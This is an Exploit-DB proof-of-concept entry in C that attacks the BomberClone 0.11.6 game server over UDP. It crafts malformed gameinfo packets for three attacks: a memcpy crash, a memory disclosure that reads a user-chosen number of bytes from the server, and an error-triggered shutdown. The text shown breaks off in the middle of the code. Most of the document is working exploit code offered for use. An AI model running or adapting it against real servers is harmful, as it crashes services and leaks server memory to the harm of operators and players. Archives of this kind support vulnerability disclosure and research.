Exploit-DB #28314
Description: BomberClone 0.11 - Multiple Vulnerabilities
Type: remote
Platform: linux
Date: 2006-07-31
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/19255/info

Bomberclone is prone to remote information-disclosure and denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

These issues allow remote attackers to access sensitive information and to crash the application, denying further service to legitimate users.

Version 0.11.6 is reported vulnerable; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER             "0.1"
#define PORT            11000
#define BUFFSZ          0xffff

#define LEN_VERSION     20
#define LEN_GAMENAME    32



void show_bomberclone_info(u_char *p);

int put08(u_char *data, int num);
int get08(u_char *data, int *num);
int put16(u_char *data, int num);
int get16(u_char *data, int *num);
int put32(u_char *data, int num);
int get32(u_char *data, int *num);
#define putsx(data, src, len)   len; strncpy(data - len, src, len);

void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;

enum _network_data {
    PKG_error = 0,
    PKG_gameinfo,
    PKG_joingame,   // every packet below here will checked 
                    // if it comes from a orginal player
    PKG_contest,    
    PKG_playerid,   
    PKG_servermode,
    PKG_pingreq,
    PKG_pingack,
    PKG_getfield,
    PKG_getplayerdata,
    PKG_teamdata,
    PKG_fieldline,
    PKG_pkgack,
    PKG_mapinfo,
    PKG_tunneldata,
    PKG_updateinfo, 
    PKG_field,          // forward - always be the first field
    PKG_playerdata,     // forward
    PKG_bombdata,       // forward
    PKG_playerstatus,   // forward
    PKG_playermove,     // forward
    PKG_chat,           // forward
    PKG_ill,            // forward
    PKG_special,        // forward
    PKG_dropitem,       // forward
    PKG_respawn,        // forward
    PKG_quit            // forward - always the last known type forwarded type
};

enum _pkgflags {
    PKGF_ackreq = 1,
    PKGF_ipv6 = 2
};



int main(int argc, char *argv[]) {
    int     sd,
            attack,
            len,
            pcksz;
    u_short port  = PORT;
    u_char  *buff,
            *p,
            *t;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "BomberClone <= 0.11.6 bugs "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = memcpy crash in rscache_add\n"
            " 2 = information disclosure in send_pkg\n"
            " 3 = simple error message termination\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    p += put08(p, PKG_gameinfo);        // typ
    p += put08(p, 0);                   // flags
    p += put16(p, 0);                   // id
    t = p;  p += 2;                     // len

    p += put32(p, 0);                   // timestamp
    p += put16(p, 0);                   // ??? unknown
    p += put08(p, 0);                   // curplayers
    p += put08(p, 0);                   // maxplayers
    p += putsx(p, "", LEN_GAMENAME);    // gamename
    p += putsx(p, "", LEN_VERSION);     // version
    p += put08(p, 0);                   // broadcast
    p += put08(p, -1);                  // password

    put16(t, (p - t) - 2);

    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 1);

    close(sd);

    show_bomberclone_info(buff);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(attack == 1) {
        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, PKGF_ackreq);     // required!

        p += put16(p, 0);
        p += put16(p, 0xffff);          // bug

        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p += putsx(p, "", LEN_GAMENAME);
        p += putsx(p, "", LEN_VERSION);
        p += put08(p, 0);
        p += put08(p, -1);

        printf("- send malformed packet\n");
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);

    } else if(attack == 2) {
        printf(
            "- insert the amount of bytes you want to read from the server's memory,\n"
            "  try with 3000 or 3500:\n"
            "  ");
        fflush(stdin);
        fgets(buff, BUFFSZ, stdin);
        pcksz = atoi(buff);

        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, 0);

        p += put16(p, 0);
        p += put16(p, pcksz);           // how many memory you want to see?

        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p +